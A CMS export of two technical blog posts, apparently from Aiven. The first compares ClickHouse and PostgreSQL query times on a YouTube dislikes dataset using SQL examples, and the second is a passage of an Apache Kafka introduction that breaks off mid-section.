went hunting for interesting (and free) datasets that I could play around with.\n\n*Quick disclaimer: This is not going to be a deep dive into optimization of either Postgres or ClickHouse. Yes, you could use partitioning, secondary indexes, or all sorts of table or database settings to improve performance. This is intended to provide a baseline, because BOTH services can be optimized.*\n\nWhat I found is a treasure trove of data scraped from YouTube by the Archive Team (archive.org), featuring metadata for 4.5 billion videos as they were in December 2021. The reason this dataset exists is because YouTube announced they were going to no longer display the number of dislikes on videos. So this is the last point where we can see this information that they stopped sharing.\n\nYou can download the dataset yourself at [the Internet Archive](https://archive.org/search.php?query=subject%3A%22YouTubeDislikes%22)\n\nFor my own sanity, and to save time and space, I removed the video description and the metadata fields while loading the data. Both can have a lot of special characters, or new lines, and would frankly not be efficient to store in a data warehouse. Something like OpenSearch would be a better home, maybe for future exploration. \n\n## The questions\nThe next step was to come up with some questions I wanted to explore. This is what I chose:\n 1. How do people react to live content, as opposed to uploaded videos? Since live content is by necessity less polished, do people like (or dislike) it at a higher ratio compared to pre-recorded videos?\n 2. Which channels have a high view count to subscriber ratio? Are these generally driven by a few videos that have been extremely popular, but have not converted viewers into subscribers?\n 3. What videos have gone most viral relative to the usual view count of their uploader?\n 4. How has the use of subtitles changed over time? Has automation led to them being available on more videos?\n 5. How does turning comments off affect the like / dislike ratio? \n 6. What is the most watched / liked Unlisted video?\n\nWith these questions, I started to dig in.\n\n## Exploring the Data\n\nI chose two plans with the same price: \n- Aiven for ClickHouse - Business-16\n- Aiven for Postgres - Business-32 \n \nI gave both some extra disk space. The first thing I noticed once I got the data loaded is that ClickHouse is much better on disk compression. The ClickHouse table was about a third the size of the Postgres table. \n\n```\n| - | ClickHouse | Postgres |\n| --------------------- | ------------- | ------------- |\n| Plan | Business-16 | Business-32 |\n| CPUs | 2 | 8 |\n| RAM | 16 | 32 |\n| Nodes | 2 | 2 |\n| Disk Available (GB) | 1150 | 1100 |\n| Disk Used (GB) | 362 | 956 | \n```\n\n\nHere are the table definitions I used.\n\n### ClickHouse \n\n```sql\nCREATE TABLE default.videos\n(\n id String,\n fetch_date String,\n upload_date String,\n title String,\n uploader_id String,\n uploader String,\n uploader_sub_count Int32,\n is_age_limit Bool,\n view_count UInt64,\n like_count UInt64,\n dislike_count UInt64,\n is_crawlable Bool,\n is_live_content Bool,\n has_subtitles Bool,\n is_ads_enabled Bool,\n is_comments_enabled Bool\n) ENGINE = MergeTree()\nORDER BY (uploader_id)\n```\n\n### Postgres \n\n```sql\nCREATE TABLE videos\n(\n id TEXT,\n fetch_date TEXT,\n upload_date TEXT,\n title TEXT,\n uploader_id TEXT,\n uploader TEXT,\n uploader_sub_count BIGINT,\n is_age_limit Boolean,\n view_count BIGINT,\n like_count BIGINT,\n dislike_count BIGINT,\n is_crawlable Boolean,\n is_live_content Boolean,\n has_subtitles Boolean,\n is_ads_enabled Boolean,\n is_comments_enabled Boolean,\n PRIMARY KEY (id)\n)\n```\n\n\nBoth of these tables are pretty basic, and we could definitly improve the performance of queries by adding secondary indexes, or by changing some settings. We could also make some changes to compress the data to use even less space. However, we're still in the exploratory phase. We can focus on optimization once we know what kind of queries we'll be running.\n\n## Live vs uploaded content\n\nBy definition, live content will be a little more raw and unpolished than uploaded videos, which are often extensively edited and composed by selecting from numerous takes. How do viewers feel about that? Lots of experts in influencer and content creator culture put heavy emphasis on the value of authenticity. Does live content feel more authentic? What about the interactive nature of live performances, where viewers can feel involved in the video (and the community) by chatting with other viewers and the creator - does that help drive likes as well?\n\n\n### ClickHouse query\n\n```sql\nSELECT \n is_live_content, \n AVG(\n COALESCE(like_count,0) / COALESCE(view_count,1)\n ) as LIKE_AVG, \n STDDEV_POP(\n COALESCE(like_count,0) / COALESCE(view_count,1)\n ) as LIKE_STD, \n AVG(\n COALESCE(dislike_count,0) / COALESCE(view_count,1)\n ) as DISLIKE_AVG, \n STDDEV_POP(\n COALESCE(dislike_count,0) / COALESCE(view_count,1)\n ) as DISLIKE_STD \nFROM videos \nWHERE view_count \u003e 0\nGROUP BY is_live_content;\n```\n\n### Postgres query\n\n```sql\nSELECT \n is_live_content, \n AVG(\n COALESCE(like_count,0) / COALESCE(view_count,1)\n ) as LIKE_AVG, \n STDDEV_POP(\n COALESCE(like_count,0) / COALESCE(view_count,1)\n ) as LIKE_STD, \n AVG(\n COALESCE(dislike_count,0) / COALESCE(view_count,1)\n ) as DISLIKE_AVG, \n STDDEV_POP(\n COALESCE(dislike_count,0) / COALESCE(view_count,1)\n ) as DISLIKE_STD \nFROM videos \nWHERE view_count \u003e 0\nGROUP BY is_live_content;\n```\n### Runtime \n\n```\n| ClickHouse | Postgres | % Diff |\n| ----------- | ----------- | ------ |\n| 113 seconds | 918 seconds | 712% |\n```\n### Results\n\n```\n| Is Live? | Avg Likes/View | Std Dev | Avg Dislikes/View | Std Dev |\n| -------- | -------------- | ------- | ----------------- | ------- |\n| False | 0.0530 | 0.3160 | 0.0025 | 0.0479 |\n| True \t | 0.0985 | 0.4036 | 0.0060 | 0.0396 |\n```\n\nOur databases agree that live content in general gets more likes and dislikes per viewer, almost double the rate in both cases. Oddly the standard deviation for likes is higher for live content, but lower for dislikes.\n\n## Many Views, Few Subscribers\nI was curious to find out what kind of channels have a very high number of views, as opposed to how many people are actually subscribed to the channel. What sort of videos do those channels create? Is it a single video that has gone viral? Or is it that to make it to the top of the list, you need a few videos with many views?\n\n\n### ClickHouse query\n\n```sql\nSELECT\n uploader_id,\n SUM(view_count)/MAX(uploader_sub_count) \nFROM videos \nWHERE uploader_sub_count \u003e 10\nGROUP BY uploader_id \nORDER BY SUM(view_count)/MAX(uploader_sub_count) desc \nLIMIT 5;\n```\n\n### Postgres query\n\n```sql\nSELECT\n uploader_id,\n SUM(view_count)/MAX(uploader_sub_count) \nFROM videos \nWHERE uploader_sub_count \u003e 10\nGROUP BY uploader_id \nORDER BY SUM(view_count)/MAX(uploader_sub_count) desc \nLIMIT 5;\n```\n\n### Runtime \n\n```\n| ClickHouse | Postgres | % Diff |\n| ----------- | ------------ | ------- |\n| 193 seconds | 3756 seconds | 1846% |\n```\n\n### Results\n```\n| uploader_id | Current Channel Name | Views:Subscriber ratio |\n| ------------------------ | -------------------- | -----------------------|\n| UCZcSkQahCZvXg742oP7hhsw | Ziyan Lee | 10,423,195 |\n| UC3OqJzvmr4dJkoWxLuXMR1Q | Day New | 8,427,802 |\n| UCzXfnq1jnSKsbCYwCgci-vA | Vive Games | 7,704,057 |\n| UCsCP_JmGPLM319iSVURXhPQ | game funny | 7,491,109 |\n| UCGwjz9YOQXoAXJW-2kNyD8g | Naga | 6,576,452 |\n```\n\nThis is a little disappointing: ranks 1, 2, and 5 are what look like ads for low effort mobile games, and 3 and 4 only have unlisted videos. \n\nLet's see if we can filter out the ads and get more interesting results by bumping up to a minimum of 1000 subscribers, and filter to only count listed videos:\n\n```\n| uploader_id | Current Channel Name | Views:Subscriber ratio |\n| ------------------------ | -------------------- | ---------------------- |\n| UCRuLp80UV9FO3EFbQzF-D5A | SHADIAO VIDEOS | 673887 |\n| UC2WmR5jLqZWivWKrs5j2ZQg | 石秀云 | 629814 |\n| UC21yzf1STldxuTtFV_y_qKg | (Terminated Account) | 622086 |\n| UCSSmw60pHH3kKOj2xUwYdOQ | UAC Google | 461971 |\n| UC5LCpCZy0tnDhzGGI-fHlkQ | Eshare kwai | 415367 |\n```\n\nHmm, again ranks 1, 2, and 5 are similar, mostly reposts from Likee, and all accounts have a few very popular videos. The rank 3 account has been terminated, so nothing to report there. Rank 4 is once again mobile app ads, this time showing for an app that can age or de-age your selfies. \n\nSince digital advertising tends to have low conversion rates, perhaps it's not surprising that this section is dominated by ads instead of viral videos like I expected.\n\n## Subtitles over the years\n\nWith advances in speech recognition, it’s easier than ever to create subtitles for videos. Are people taking advantage of this? They added auto-captioning in late 2009, was there a jump around that time? \n\n\n### ClickHouse query\n\n```sql\nSELECT\n Substring(upload_date,1,4) as upload_year,\n AVG(has_subtitles)\nFROM videos\nGROUP BY Substring(upload_date,1,4)\nORDER BY Substring(upload_date,1,4) ASC;\n```\n### Postgres query\n\n```sql\nSELECT\n Substring(upload_date,1,4) as upload_year,\n AVG(CASE WHEN has_subtitles THEN 1 ELSE 0 END)\nFROM videos\nGROUP BY Substring(upload_date,1,4)\nORDER BY Substring(upload_date,1,4) ASC;\n```\n\n### Runtime \n\n```\n| ClickHouse | Postgres | % Diff |\n| ----------- | ------------ | ------- |\n| 121 seconds | 1021 seconds | 743% |\n```\n\n### Results\n\n```\n| Year | % of Videos w/ Subtitles|\n| ---- | -------------------- |\n| 2005 | 9.4 |\n| 2006 | 10.9 |\n| 2007 | 11.4 |\n| 2008 | 12.8 |\n| 2009 | 14.8 |\n| 2010 | 16.3 |\n| 2011 | 16.4 |\n| 2012 | 22.5 |\n| 2013 | 30.4 |\n| 2014 | 28.1 |\n| 2015 | 31.1 |\n| 2016 | 32.0 |\n| 2017 | 32.1 |\n| 2018 | 35.6 |\n| 2019 | 39.8 |\n| 2020 | 56.0 |\n| 2021 | 58.5 |\n```\n\nPeople certainly *have* been making increasing use of subtitles for their videos. The largest jump was in 2020, which I had to look into for curiosity's sake. Apparently at that, time YouTube was removing their community captions feature, which allowed you to upload captions for other people's video. This prompted a very successful campaign to have creators add captions to their videos for hard of hearing and deaf viewers.\n\n\n## Comments and controversial videos\n\nComments are a mixed blessing. They’re an important sign of engagement for the algorithms that rule the internet, and can be a valuable source of feedback for creators. But they can also be vector for harassment, much more impactful than a simple “Dislike”. Do creators turn comments off sometimes for their more controversial videos? \n\n### ClickHouse query\n\n```sql\nSELECT \nCEILING(log10(view_count)) as Views_OOM,\nAVG( \n CASE \n WHEN is_comments_enabled = 1 THEN NULL \n ELSE \n CASE \n WHEN COALESCE(like_count,0) = COALESCE(dislike_count,0)\n THEN 0.5 \n WHEN like_count IS NULL or like_count = 0 \n THEN 0\n WHEN dislike_count IS NULL or dislike_count = 0 \n THEN 1\n ELSE like_count / dislike_count \n END \n END) as comments_disabled_like_ratio,\nAVG( \n CASE \n WHEN is_comments_enabled = 1 THEN \n CASE \n WHEN COALESCE(like_count,0) = COALESCE(dislike_count,0) \n THEN 0.5 \n WHEN like_count IS NULL or like_count = 0 \n THEN 0\n WHEN dislike_count IS NULL or dislike_count = 0 \n THEN 1\n ELSE like_count / dislike_count \n END \n ELSE NULL\n \n END) as comments_enabled_like_ratio\nFROM videos\nGROUP BY Views_OOM\nORDER BY Views_OOM;\n```\n### Postgres Query\n```sql\nSELECT \nCEILING(log10(view_count + 1)) as Views_OOM,\nAVG( \n CASE \n WHEN is_comments_enabled THEN NULL \n ELSE \n CASE \n WHEN COALESCE(like_count,0) = COALESCE(dislike_count,0) \n THEN 0.5 \n WHEN like_count IS NULL or like_count = 0 \n THEN 0\n WHEN dislike_count IS NULL or dislike_count = 0 \n THEN 1\n ELSE like_count / dislike_count \n END \n END) as comments_disabled_like_ratio,\nAVG( \n CASE \n WHEN is_comments_enabled THEN \n CASE \n WHEN COALESCE(like_count,0) = COALESCE(dislike_count,0) \n THEN 0.5 \n WHEN like_count IS NULL or like_count = 0 \n THEN 0\n WHEN dislike_count IS NULL or dislike_count = 0 \n THEN 1\n ELSE like_count / dislike_count \n END \n ELSE NULL \n END) as comments_enabled_like_ratio\nFROM videos\nGROUP BY Views_OOM\nORDER BY Views_OOM;\n-- A few small changes because PG doesn't like Log(0), and stores boolean as T/F instead of 1/0\n```\n### Runtime \n\n```\n| ClickHouse | Postgres | % Diff |\n| ----------- | ------------ | ------- |\n| 216 seconds | 1106 seconds | 412% |\n```\n\n### Results\n```\n| Views | Likes / Dislikes |\n| | Comments Disabled | Comments Enabled |\n| --------------------- | ----------------- | ---------------- |\n| 0 | 0.53 | 0.54 |\n| Less than 10 | 0.63 | 0.66 |\n| Tens | 1.10 | 1.14 |\n| Hundreds | 3.47 | 4.54 |\n| Thousands | 14.01 | 22.37 |\n| Tens of Thousands | 22.88 | 40.92 |\n| Hundreds of Thousands | 19.01 | 37.63 |\n| Millions | 12.05 | 30.58 |\n| Tens of Millions | 6.66 | 23.24 |\n| Hundreds of Millions | 3.08 | 20.65 |\n| Billions | 1.77 | 19.55 |\n```\n\nVideos with comments disabled on average have a much worse Like:Dislike ratio, which is even more pronounced on videos with over ten thousand views. This would suggest that yes, people do disable comments on unpopular videos, especially ones with many views.\n\nThe other interesting thing about this data is the way the ratio of likes to dislike spikes in the 100k - million views range, both for videos with comments and without. This suggests to me that in that range, the YouTube algorithm is doing a good job predicting who will like a video. But as views increase, the odds that someone who dislikes the content of a video will be exposed to it increase.\n\nSo I asked a follow-up question: when commenting is disabled, are people more likely to like or dislike to express their feelings about a video?\n\n### ClickHouse query\n\n```sql\nSELECT \nCEILING(log10(view_count)) as Views_OOM,\nAVG( \n CASE \n WHEN is_comments_enabled = 1 THEN NULL \n ELSE like_count + dislike_count\n END) as comments_disabled_interactions,\nAVG( \n CASE \n WHEN is_comments_enabled =1 \n THEN like_count + dislike_count\n ELSE NULL\n END) as comments_enabled_interactions\nFROM videos\nGROUP BY Views_OOM\nORDER BY Views_OOM;\n```\n\n### Postgres Query\n\n```sql\nSELECT \nCEILING(log10(view_count + 1)) as Views_OOM,\nAVG( \n CASE \n WHEN is_comments_enabled THEN NULL \n ELSE like_count + dislike_count\n END) as comments_disabled_interactions,\nAVG( \n CASE \n WHEN is_comments_enabled \n THEN like_count + dislike_count\n ELSE NULL\n END) as comments_enabled_interactions\nFROM videos\nGROUP BY Views_OOM\nORDER BY Views_OOM;\n-- A few small changes because PG doesn't like Log(0), and stores boolean as T/F instead of 1/0\n```\n\n### Runtime \n\n```\n| ClickHouse | Postgres | % Diff |\n| ----------- | ------------ | ------- |\n| 165 seconds | 992 seconds | 501% |\n```\n\n### Results\n\n```\n| Views | Average Likes + Dislikes |\n| | Comments Disabled | Comments Enabled |\n| --------------------- | ----------------- | ---------------- |\n| 0 | 0.10 | 0.10 |\n| Less than 10 | 0.45 | 0.56 |\n| Tens | 2.59 | 3.20 |\n| Hundreds | 10.56 | 13.74 |\n| Thousands | 55.86 | 80.88 |\n| Tens of Thousands | 414.67 | 699.82 |\n| Hundreds of Thousands | 3,193.55 | 5,903.21 |\n| Millions | 22,368.78 | 42,363.47 |\n| Tens of Millions | 138,028.31 | 256,495.88 |\n| Hundreds of Millions | 967,767.47 | 1,520,044.48 |\n| Billions | 8,072,880.48 | 9,185,313.54 |\n```\n\nNo, indeed not. Videos with comments enabled have on average more interactions (likes and dislikes) than videos with similar view counts and comments disabled.\n\n## Unlisted videos\n\nYouTube officially claims to have over 800 million videos, but our dataset shows over 4 billion records. Are those all unlisted? Our analysis has focused mostly on listed videos. So what's the most viewed video that is unlisted?\n\n### ClickHouse query\n\n```sql\nSELECT \n title, \n uploader, \n view_count\nFROM videos \nWHERE is_crawlable = 0\nORDER BY view_count desc \nLIMIT 2;\n```\n\n### Postgres Query\n\n```sql\nSELECT \n title, \n uploader, \n view_count\nFROM videos \nWHERE is_crawlable \nORDER BY view_count desc \nLIMIT 2;\n```\n### Runtime \n\n```\n| ClickHouse | Postgres | % Diff |\n| ----------- | ------------ | ------- |\n| 301 seconds | 1006 seconds | 234% |\n```\n\n### Results\n```\n| Title | Uploader | Views |\n| ------------------------------------------------------- | --------- | ------------- |\n| 009 211 Baton Recut 1920x1080 15s | Instagram | 2,048,634,523 |\n| 009 214 HeartShapedWorld Acq EN UAC 1920x1080 15s V1 FB | Instagram | 1,554,823,463 |\n```\n\nBoring! It's an Instagram ad with 2 billion views. After analyzing videos with a high view count to sub ratio, maybe this is what I should've expected. There's got to be a way to separate viral videos from ads! We'll just have to keep digging.\n\n## Top 1% of views\n\nClickHouse also has some intertesting statistical functions built in. As I'm interested in views again, let's get a sense of how views are distributed among videos. Before you look, try to guess how many views you need to be in the top 1% of videos.\n\n### ClickHouse query\n\n```sql\nSELECT \n quantiles(0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 0.99)(view_count)\nFROM videos;\n```\n\nYes, postgres can do similar functions, but for this specific example needs multiple steps, and would require an order of magnitude more resources. For the ClickHouse quantile function, it uses sampling to calculate approximations\n\n### Runtime\n42 seconds for ClickHouse\n\n### Results\n```\n| Percentile | View Count |\n| ---------- | ---------- | \n| 10th | 7 |\n| 20th | 18 |\n| 30th | 36 | \n| 40th | 64 |\n| 50th | 118 | \n| 60th | 220 |\n| 70th | 433 | \n| 80th | 1,093 | \n| 90th | 4,256 |\n| 99th | 179,308 |\n```\n\nIt's pretty cool to see the numbers laid out like that. I did not expect the top 1% to be so high, given how many videos there are on the platform.\n\n# Conclusion\n\nOn average, the Aiven for ClickHouse database performed 5-10 times better than Aiven for PostgreSQL. And in one specific case, question #2, the performance was 20x better! Postgres is a great general purpose database, but it struggles to keep up with ClickHouse on these large datasets, especially column aggregations. It makes perfect sense, ClickHouse has been designed for exactly that purpose. If we were doing a performance test with a lot of updates and deletes, it would be ClickHouse fighting for its life. \n\nEvery database has an intended use. From the very beginning of its development, the developers make certain trade-offs, and you want to go with the grain, not against it.\n\nIf you only take one thing away from our little experiment, it should be this: **choosing the right tool for your use case saves you time**, both in development and execution, so you can focus on getting answers to the big questions.\n\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e\n\n## Further reading \n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n- [Aiven for PostgreSQL® now available in UpCloud](https://aiven.io/blog/aiven-postgresql-now-available-in)","categories":[{"_key":"1da4ee4dc1a8","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"5554b7300c57","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-70a583cbc9a0b5f6c16ff5bcca89cd6f09e1879c-1567x844-jpg","_type":"reference"}},"publishedAt":"2023-01-25T12:15:30.540Z","related":[{"_key":"cf4ffafb55f3","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Offload PostgreSQL Analytics to ClickHouse for Better Results"},"slug":{"_type":"slug","current":"/blog/why-you-should-offload-your-pg-analytical-workloads-to-clickhouse"},"subtitle":"In this post, ClickHouse and PostgreSQL go head-to-head at analyzing YouTube videos. The results speak for themselves - find out what they say.","title":"Why you should offload your PostgreSQL analytical workloads to ClickHouse"} {"__i18n_lang":"en","_createdAt":"2022-07-13T01:06:15Z","_id":"1olZrzEu8a8Ia9ic87p7ZV","_rev":"If5MXS1R4Zj7MKtcdBSfRP","_type":"post","_updatedAt":"2024-02-13T14:32:05Z","authors":[],"body":"\u003c!--\nworking version in GitHub: \\GitHub\\blog-posts\\posts\\2022\\ed-pillar-kafka\\pillar-kafka.md\ncopy-paste everything into Contentful version for publishing https://app.contentful.com/spaces/q3u27v6lpki8/entries/1olZrzEu8a8Ia9ic87p7ZV\nDO NOT EDIT IN CONTENTFUL\n--\u003e\n\nThis page is your **Apache Kafka® introduction**, where you'll find answers questions like...\n- What is Apache Kafka?\n- What is event streaming?\n- What is event driven architecture?\n- What are microservices?\n- Where does Apache Kafka fit in?\n- How does Apache Kafka work?\n- What are the benefits of Apache Kafka’s approach?\n- How do I build an Apache Kafka centric architecture?\n\n... and probably more that we haven't thought of yet!\n\n\u003e **Note:** If you're pressed for time, you can also take home our free ebook (or show it to your boss)! [Check it out](https://aiven.io/ebook/apache-kafka-for-tech-leaders) to get an overview of Apache Kafka: what it is, how it works, and how tech leaders can take advantage of it for their business.\n\nIn this post:\n1. [Apache Kafka: the basics](#apache-kafka-the-basics)\n2. [Benefits of Apache Kafka in an event driven architecture](#benefits-of-apache-kafka-in-an-event-driven-architecture)\n3. [How does Kafka work?](#how-does-kafka-work)\n4. [What is event streaming?](#what-is-event-streaming)\n5. [Apache Kafka in your architecture](#apache-kafka-in-your-architecture)\n6. [Apache Kafka APIs](#apache-kafka-apis)\n7. [Building microservices with Apache Kafka](#building-microservices-with-apache-kafka)\n8. [Event driven architecture with Apache Kafka: variations](#event-driven-architecture-with-apache-kafka-variations)\n9. [Updating legacy architecture with Apache Kafka](#updating-legacy-architecture-with-apache-kafka)\n10. [Managing Apache Kafka](#managing-apache-kafka)\n11. [Kafka and data safety](#kafka-and-data-safety)\n12. [Getting started with Apache Kafka on Aiven](#getting-started-with-apache-kafka-on-aiven)\n\n## Apache Kafka: the basics\n\n### Definition and uses\n\nApache Kafka is often described as an event streaming platform (if you don't know what that is, [this may help](#what-is-event-streaming)). And this is true, but at its core it’s simpler: Apache Kafka is really just a way to move data from one place to another. That's what makes it the swiss army knife of data infrastructure.\n\nYou can use it to move data between your own applications, between your applications and data stores (like PostgreSQL or Amazon S3), or between those data stores. Apache Kafka makes applications independent from each other, so that one application can pass data on without needing to wait for the other application to deal with the situation.\n\nThe easiest way to try Apache Kafka is to sign up for a managed service and give it a spin. For that, go straight to [Getting started with Apache Kafka on Aiven](#getting-started-with-apache-kafka-on-aiven).\n\n### Apache Kafka is a simple bit of glue?\n\nFundamentally, Apache Kafka is quite a simple piece of the architecture, but that's what makes it powerful - it doesn’t add complexity but allows clean architectural boundaries to emerge. As a widely-used open source product, Apache Kafka also has a lot of client and tooling options; whether it's high-level APIs and libraries help you build your own applications, or off-the-shelf \"glue\" between data stores, or helpful management interfaces to show you what's happening inside Apache Kafka, there will be something already available in the ecosystem. (And those management interfaces are important, as Apache Kafka is notorious for being difficult to manage at scale - which is where a well-built PaaS can give you peace-of-mind and let you focus on your applications themselves.)\n\nIn some ways, Apache Kafka is rather like a [cross between a messaging system and a database](https://aiven.io/blog/apache-kafka-and-the-great-database-debate \"Apache Kafka and the Great Database Debate | Aiven Blog\"). It shares features with both, but it's more than a message queue and different from a database. The fact that almost any system can act as a producer or consumer means that Apache Kafka's core use is as a conduit for systems to talk to each other and share data. There's no need for a complex network of connectors and pipelines between systems - they are decoupled and independent of each other. This has profound implications not just for the speed and reliability of data delivery but also for the [breadth of use cases](https://www.aiven.io/blog/use-cases-for-apache-kafka) that Kafka can be put to.\n\n![Apache Kafka concepts and terms](//images.ctfassets.net/q3u27v6lpki8/6pNr86mlAD5j7tYDDLLJhj/f78046f6afd7df6de9bfde7965af82bd/box-concepts.png)\n\n(Want more glossary? Check out [Apache Kafka key concepts](https://www.aiven.io/blog/apache-kafka-key-concepts)!)\n\n## Benefits of Apache Kafka in an event driven architecture\n\n[We've kind of talked about Apache Kafka benefits on the Aiven Blog before](https://aiven.io/blog/5-benefits-of-a-kafka-centric-microservice-architecture), but let's just quickly run through why you'd want to use Apache Kafka for your event based data architecture.\n\n### Speed through structure\nOnce upon a time, you had to choose between a fast messaging platform or a durable one. This is because \"fast\" was often implemented as \"messages are only in memory\", and the thought of writing messages onto disk was derided as being too slow. Apache Kafka changed all of that by re-thinking how storage is used. When messages are arranged into topics and topics into append-only partitions, it’s possible to have a messaging platform that’s __both fast and durable__.\n\n### ...and compression\nAnother contributor to Kafka’s fast throughput is that Kafka itself doesn't care about the structure of the data - as far as it is concerned, data is just a series of bytes. The producers and consumers however should agree on the structure of the data, or otherwise they won't understand it. This is often handled by a separate component called a *schema registry* (for example, [Karapace](https://github.com/aiven/karapace/blob/master/README.rst \"Karapace | GitHub\")) where the producers (or even the system architects) can store the structure of a message, and the consumers can read the structure and have an expectation of which fields etc will be in the messages on a given topic. Where possible this also compresses the messages - the field names don't need to be sent with each message if they are already in a schema registry, which the consumer can query to \"re-hydrate\" the full message.\n\nAs a result, Kafka's scalable, fault-tolerant, publish-subscribe messaging platform is nearly ubiquitous across vast internet properties like Spotify, LinkedIn, Square, and Twitter.\n\n### Quickly in, quickly out\n\nKafka also has a fast throughput because it decouples writing data from reading it. Data doesn't have to be received at its final destination(s), it only has to be written to the broker by the producer. Similarly, consumers read data as and when it suits them, not acting as a roadblock to the producers.\n\n### Future-proofing with scalability\n\nKafka’s __scalability__ offers tangible [business](https://aiven.io/case-studies/mirakl-goes-cloud-native-with-aiven) [benefits](https://aiven.io/case-studies/goto-financial-goes-far-with-aiven). Its partitioned log model allows data to be distributed across multiple brokers, allowing immense amounts of data to reside in the same platform but on different servers. It’s also trivial to [make Kafka geographically resilient using MirrorMaker 2](https://www.aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2), which will replicate the data between two different clusters (potentially in different regions or even different clouds) - resistant to interruption and without any data loss.\n\n### Safety through copies\n\nBecause Kafka replicates data across servers, data centers and clouds, with the correct configuration the data is safe even if a server or region fails. With replication configured per-topic, Kafka keeps track of which servers are the \"owners\" of the data and which servers have replica copies to use in the event of failure. While manually restoring the data in Kafka after an issue might not be a meaningful concept, care must be taken to ensure that settings like the \"replication factor\" are correct for your requirements.\nYou can read more in [Data and disaster recovery](https://aiven.io/blog/data-and-disaster-recovery \"Data and disaster recovery | Aiven Blog\").\n\n## How does Kafka work?\nWhen used in an event-driven world, Kafka sees each event as a different message. In this case, an event always happens at a certain time (timestamp), concerns a specific thing (key), and states what happened regarding that thing (value). It may also contain additional information (metadata headers).\n\nFor example:\n\n- On 2 February 2022 at 16:37 (timestamp) a pulled-oat sandwich (key) was purchased (value) at Tania’s Deli (metadata).\n- On 3 February 2022 (timestamp) ten (value) pulled-oat sandwiches (key) were delivered at Tania’s Deli (metadata).\n\n### Pub/sub\n\nEvents are written, or published, to Kafka by client applications called __producers__. Other applications, called __consumers__, read events from Kafka, often as input that triggers another action.\n\nThis is called a __publish-subscribe model, or pub/sub__ - the producers are not aware of, or care at all about, the consumers which are reading the events.\nKafka organizes streams of events into a number of topics, which are basically category-named data feeds, and are usually themselves split into partitions for scaling. Producers write event records by appending them to the sequence of events in a given topic, resulting in an ordered series (remember that ordering is only preserved within a partition, not across partitions).\n\n### Consuming from topics - the importance of offsets\n\nConsumers consume records from specific topics, starting from a given offset (the record number in the topic). This makes it easy to consume the records asynchronously while still retaining the correct order. The last-known offset for a given consumer (or group of consumers) is usually also stored in Apache Kafka, so that when a consumer re-attaches after some kind of interruption it can seamlessly pick up from where it left off.\n\n![Anatomy of a Kafka topic. Topics are category-named data feeds, here shown divided into partitions to provide faster throughput.](//images.ctfassets.net/q3u27v6lpki8/34ozH7TSA3ALLhLMMjHLnz/ac5054056a87769beac13f18158feff0/anatomy_of_a_topic.jpg)\n\n![ Producers always write to the end of the topic queues. Consumers then read the data according to their configured offsets to keep events in order.](//images.ctfassets.net/q3u27v6lpki8/HAMxgTZRwn4izL2onEMBW/5297a074aeda78163e638254611d35e1/producers.jpg)\n\n\u003c!-- If you want to learn more about how to program for Kafka, head over to our event-driven architecture page -link to cluster page https://aiven.io/blog/introduction-to-event-driven-architecture- --\u003e\n\n## What is event streaming?\nSo if Kafka is an event streaming platform, what is event streaming? Event streaming is just what it says on the box: services publishing events in a continuous stream for other systems to read and process elsewhere. Importantly, events happen in order, and the producer of the events does not care about who or what is reading the events. It’s a great way to decouple different applications from each other, so that any given application can just focus on what it does best.\n\nSo no, it’s not you watching a live Broadway performance of Cats in your living-room. Event streaming is what an event driven architecture does when it’s at home.\n\n### What is event streaming used for?\nEvent streaming is used to separate applications which are actively doing a task (e.g. reading from a sensor or charging a credit card) from applications which are observing and acting-on the results of that task (e.g. switching the air-con off or shipping a package) - it’s a stream of data about things which have happened and often need to be processed further. Here are some common uses:\n\n- Monitoring infrastructure and detecting anomalies - keeping up to date with your own systems. ([See how Aiven does it](https://aiven.io/case-studies/open-source-tools-provide-observability-for-aiven)!)\n- Triggering related business processes - for example, when someone registers a new account, trigger a background fraud detector\n- Metrics with real-time counters, moving averages and more - applications in e.g. fintech and climate applications\n- Creating dashboards - anywhere that humans want to run an eye over the numbers, like traffic monitoring and leaderboards.\n- Moving data from the incoming event stream to longer-term storage for offline analytics and queries.\n- Enabling an event-driven architecture (EDA)\n\n### Use cases with event driven architecture\nEvent driven architecture is frequently used for applications where lots of data comes in very quickly. Social media, online shopping and [IoT applications](https://aiven.io/blog/3-considerations-for-building-an-enterprise-iot-solution \"3 considerations for building an enterprise IoT solution | Aiven Blog\") are great examples, but depending on scale it might also include things like inventory management.\n\nTake a look at our page for [case studies featuring a Kafka-centric architecture](https://www.aiven.io/blog/use-cases-for-apache-kafka).\n\n## Apache Kafka in your architecture\n\nWhere does Apache Kafka fit in? In brief, it goes in the middle of all your systems. There are multiple open source options for producers and consumers, many of them with existing connectors to Kafka. Remember that Kafka itself isn’t performing any application logic, it is simply an ordered store of messages - it has no knowledge of what is contained within the messages although it does allow producers to separate metadata about the messages into message headers.\n\nTypically, Apache Kafka acts as a kind of pipeline, streaming data from one place to another (or many others). Consumers can choose whether to start from the latest message in a topic (and only get the new messages after that), or to start from the beginning of the topic (and get as many messages as are still on the topic), or somewhere in between. Kafka tracks the position of a message on a topic, called the “offset”, adding new messages to the end. 